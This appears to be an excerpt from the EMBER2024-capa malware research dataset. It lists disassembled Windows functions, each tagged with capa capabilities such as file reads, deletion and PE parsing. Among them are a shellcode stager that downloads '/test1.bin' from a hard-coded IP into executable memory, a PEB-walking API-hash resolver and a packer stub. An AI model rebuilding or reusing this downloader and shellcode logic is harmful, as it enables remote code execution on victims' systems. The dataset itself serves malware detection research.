joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18006d8b0
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.18006de40
mov qword [rsp + 0x28], 0
cmp qword [0x1800cd758], 0
jne 0x18006d8f8
cmp qword [0x1800cd750], 0
je 0x18006d8f8
mov rax, qword [0x1800cd750]
mov qword [0x1800cd758], rax
cmp qword [0x1800cd758], 0
je 0x18006d99e
mov rax, qword [0x1800cd758]
cmp qword [rax + 0x10], 0
je 0x18006d99e
mov rax, qword [0x1800cd758]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x18006d99e
mov rax, qword [0x1800cd758]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x18006d99e
mov rax, qword [0x1800cd758]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x18006d964
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x18006d96b
xor eax, eax
jmp 0x18006db19
mov rax, qword [0x1800cd758]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.180074db0
mov rax, qword [rsp + 0x28]
jmp 0x18006db19
mov rax, qword [0x1800cd750]
mov qword [0x1800cd758], rax
jmp 0x18006d9c0
mov rax, qword [0x1800cd758]
mov rax, qword [rax + 8]
mov qword [0x1800cd758], rax
cmp qword [0x1800cd758], 0
je 0x18006da0d
cmp qword [0x1800cd758], 0
je 0x18006da0b
mov rax, qword [0x1800cd758]
cmp qword [rax + 0x10], 0
je 0x18006da0b
mov rax, qword [0x1800cd758]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x18006da0b
mov rax, qword [0x1800cd758]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x18006da0b
jmp 0x18006d93c
jmp 0x18006d9ae
mov rcx, qword [rsp + 0x60]
call fcn.18006fcc0
and eax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.18006db20
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x18006db17
mov rax, qword [rsp + 0x48]
mov qword [0x1800cd758], rax
mov rax, qword [0x1800cd758]
mov dword [rax], 0x52727464
mov rax, qword [0x1800cd758]
mov qword [rax + 0x10], 0
mov rax, qword [0x1800cd758]
mov rcx, qword [0x1800cd750]
mov qword [rax + 8], rcx
mov rax, qword [0x1800cd758]
mov qword [0x1800cd750], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x1800cd758]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x18006dac8
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x18006db02
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x18006dabe
mov rax, qword [0x1800cd758]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x18006d93c
xor eax, eax
add rsp, 0x58
ret
Function at 0x180078fdc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18009f110
sub rsp, rax
mov rax, qword [0x1800cc020]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18008cc3c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18007902b
mov rax, rbp
jmp 0x180079133
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xce7e0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18008cecc
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0xce7e0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x18007912f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18007912f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18008cecc
test rax, rax
js 0x18007912f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x18007912f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180079121
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180079121
cmp byte [rcx], 0xd
jne 0x180079107
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180079116
cmp byte [rcx + 1], 0xa
jne 0x180079116
inc rcx
jmp 0x180079116
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xcc410]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1800790e9
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180079133
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1800710d0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18008ef14
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1800ce7e0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x18008ef6b
cmp word [rdx], r13w
jne 0x18008ef6b
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18008ef70
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x18008f095
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18008f0b6
lea r9, [rdx + 2]
cmp cx, r11w
je 0x18008efa9
mov rdx, r9
mov word [rbx], cx
jmp 0x18008efd0
cmp r9, r8
jae 0x18008efe0
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x18008ef8a
jmp 0x18008f095
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18008f08a
cmp dword [rsp + 0x80], esi
je 0x18008f08a
lea r8, [0x1800ce7e0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18008f062
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18008f032
mov word [rbx], r13w
jmp 0x18008f092
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18008f03f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18008f092
cmp word [rsp + 0x70], r13w
jne 0x18008f06f
cmp rbx, r14
je 0x18008f02c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18008ced4
cmp word [rsp + 0x70], r13w
je 0x18008f095
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800ce7e0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18008f08f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x18008f095
Function at 0x180091e70
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180091e86
mov al, 1
jmp 0x180091ee6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180091e97
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180091ee4
mov ecx, dword [rcx + 0x18]
nop
call fcn.180097908
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180091ee4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180091ee4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180091ee4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180091ee6
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x180093e80
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x180093ea0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1800892c4
or eax, 0xffffffff
jmp 0x180093ea2
xor eax, eax
add rsp, 0x28
ret
Function at 0x180095688
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800956b8
xor eax, eax
jmp 0x18009577b
mov rbp, rbx
cmp word [rax], si
je 0x1800956dd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800956c4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800956c0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800955a8
movsxd r14, eax
test eax, eax
jne 0x18009571b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800956b1
mov rcx, r14
call fcn.18009280c
mov rdi, rax
test rax, rax
jne 0x180095734
xor ecx, ecx
call fcn.18009009c
jmp 0x180095710
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800955a8
test eax, eax
jne 0x180095765
mov rcx, rdi
call fcn.18009009c
jmp 0x18009576f
xor ecx, ecx
call fcn.18009009c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180099fb4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.18008d334
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18009a055
cmp ebx, dword [rsp + 0x30]
je 0x18009a04e
test esi, esi
je 0x18009a04e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x18009a029
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18009a036
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18009a013
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18009a03a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18009a057
mov eax, 1
jmp 0x18009a057
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18009e21c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18008ced4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18008ced4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18009e36c
cmp rax, 0xffffffffffffffff
je 0x18009e36c
xor edi, edi
test rbp, rbp
jle 0x18009e317
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180090024
mov rbx, rax
test rax, rax
jne 0x18009e2a4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18009e30d
mov edx, 0x8000
mov ecx, r14d
call fcn.18009e0a0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18009166c
cmp eax, 0xffffffff
je 0x18009e2ed
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18009e2b4
mov edx, r15d
mov ecx, r14d
call fcn.18009e0a0
jmp 0x18009e30d
cmp byte [rsi + 0x38], dil
je 0x18009e304
cmp dword [rsi + 0x34], 5
jne 0x18009e304
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18009e30d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18009009c
jmp 0x18009e380
jns 0x18009e380
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18008ced4
cmp rax, 0xffffffffffffffff
jne 0x18009e338
cmp byte [rsi + 0x30], dil
je 0x18009e380
mov edi, dword [rsi + 0x2c]
jmp 0x18009e380
mov ecx, r14d
call fcn.180097908
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18009e380
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x18009e380
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18009e379
mov eax, dword [rsi + 0x2c]
jmp 0x18009e37e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18008ced4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x18009f200
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18009f228
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18009f228
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x10000129c
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x1000036f8]
lea rdx, [0x100003700]
call qword [sym.imp.API_MS_WIN_Service_Core_L1_1_0.dll_SetServiceStatus]
test eax, eax
jne 0x1000012e6
mov dword [0x100003704], 1
call qword [sym.imp.API_MS_Win_Core_ErrorHandling_L1_1_0.dll_GetLastError]
cmp qword [0x1000036f8], 0
mov dword [0x10000370c], eax
je 0x1000012dd
call fcn.10000129c
xor ecx, ecx
call qword [sym.imp.API_MS_Win_Core_ProcessThreads_L1_1_0.dll_ExitProcess]
inc dword [0x100003714]
add rsp, 0x28
ret

Function at 0x1000014b0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r12
push r13
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor r12d, r12d
xor eax, eax
lock cmpxchg qword [0x100003740], rdi
je 0x1000014fe
cmp rax, rdi
jne 0x1000014f1
mov edi, 1
mov r12d, edi
jmp 0x100001503
mov ecx, 0x3e8
call qword [sym.imp.API_MS_Win_Core_Misc_L1_1_0.dll_Sleep]
jmp 0x1000014d5
mov edi, 1
mov eax, dword [0x100003738]
cmp eax, edi
jne 0x100001519
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x100001576
mov eax, dword [0x100003738]
test eax, eax
jne 0x100001570
mov dword [0x100003738], edi
lea r13, [0x1000011a0]
lea rsi, [0x100001188]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
cmp rsi, r13
jae 0x100001562
test eax, eax
jne 0x100001562
mov rcx, qword [rsi]
test rcx, rcx
je 0x100001557
call rcx
mov dword [rsp + 0x20], eax
add rsi, 8
mov qword [rsp + 0x28], rsi
jmp 0x100001540
test eax, eax
je 0x100001576
mov eax, 0xff
jmp 0x100001648
mov dword [0x100003164], edi
mov eax, dword [0x100003738]
cmp eax, edi
jne 0x10000159d
lea rdx, [0x100001180]
lea rcx, [0x100001170]
call sub.msvcrt.dll__initterm
mov dword [0x100003738], 2
test r12d, r12d
jne 0x1000015ab
xor eax, eax
xchg qword [0x100003740], rax
cmp qword [0x100003748], 0
je 0x1000015d4
lea rcx, [0x100003748]
call fcn.10000189c
test eax, eax
je 0x1000015d4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100003748]
mov r8, qword [0x100003148]
mov rdx, qword [0x100003150]
mov ecx, dword [0x100003140]
call fcn.100001440
mov dword [0x100003160], eax
cmp dword [0x100003144], 0
jne 0x100001604
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x100003164], 0
jne 0x100001619
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x100003160]
jmp 0x100001648
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
add rsp, 0x30
pop r13
ret
sub rsp, 0x28
call fcn.100117000
add rsp, 0x28
jmp 0x1000014b0

Function at 0x100001908
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x100001955
cmp rcx, 0xffffffffffffffff
je 0x100001955
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x10000194d
cmp dword [rcx + 0x3c], edx
jl 0x10000194d
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10000194d
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x100001955
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string

Disassembly:
mov eax, 0x1058
call fcn.14000ccf0
sub rsp, rax
lea r8, [rsp + 0x1060]
lea edx, [rax - 0x58]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
mov eax, dword [rsp + 0x1060]
and eax, 0xfffffffc
cmp eax, 0x190
jb 0x14000119c
mov qword [rsp + 0x1068], rbx
lea rcx, str.kernel32.dll
mov qword [rsp + 0x1070], rbp
mov qword [rsp + 0x1050], rsi
mov qword [rsp + 0x1048], rdi
mov qword [rsp + 0x1040], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.VirtualAllocEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x493e0
call rbx
xor r14d, r14d
lea rcx, str.Mozilla_5.0__Windows_NT_6.2__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_27.0.1453.94_Safari_537.36
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
xor edx, edx
mov rbp, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea r8d, [r14 + 0x57]
xor r9d, r9d
mov rcx, rax
lea rdx, str.111.231.18.253
mov rsi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [rsp + 0x30], r14d
lea r8, str._test1.bin
mov rcx, rax
mov qword [rsp + 0x28], r14
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea rdx, [0x140015768]
mov rdi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x28], r14d
xor r8d, r8d
mov dword [rsp + 0x20], r14d
xor edx, edx
mov rbx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea r9, [rsp + 0x1060]
mov r8d, 0x493e0
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov r14, qword [rsp + 0x1040]
xor eax, eax
mov rdi, qword [rsp + 0x1048]
mov rsi, qword [rsp + 0x1050]
mov rbp, qword [rsp + 0x1070]
mov rbx, qword [rsp + 0x1068]
add rsp, 0x1058
ret
xor ecx, ecx
call fcn.140003044
int3
Function at 0x140003044
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140002ed7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002ed7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002ed7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002ed7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002ed7
cmp dword [rcx + 0x84], 0xe
jbe 0x140002ed7
cmp dword [rcx + 0xf8], 0
je 0x140002ed7
mov ecx, ebx
call fcn.140002f78
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140002d68
cmp dword [rbp + 0x20], 0
je 0x140002f24
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140002f2c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140002e70
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
add esp, 0xfffff254
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040dc
push r9
push r8
push rdx
push rcx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
push rsi
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x14000403d
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x140004033
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040d1
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040d1
add rax, rdx
mov ecx, dword [rax + 0x18]
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040d0
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor r9, r9
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004087
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004078
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004027
Function at 0x14000b730
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14000b73d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14000b74d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14000b735
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14000b765
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14000b752
sub eax, 3
jb 0x14000b77f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14000b7b6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14000b7a6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14000b7a4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14000b793
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14000b6f2
jmp 0x14000b73d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2600
mov dl, 1
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14000b802
cmp rsi, rcx
jae 0x14000b80a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14000b7e9
cmp al, 0x8f
ja 0x14000b7e9
cmp byte [rsi - 2], 0xf
je 0x14000b7ef
sub al, 0xe8
cmp al, 1
ja 0x14000b7d3
cmp rsi, rcx
jae 0x14000b80a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14000b7d9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14000b80a
lodsb al, byte [rsi]
jmp 0x14000b7e9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x9000]
mov eax, dword [rdi]
or eax, eax
je 0x14000b867
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xb1e4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14000b817
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14000b861
mov qword [rbx], rax
add rbx, 8
jmp 0x14000b837
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
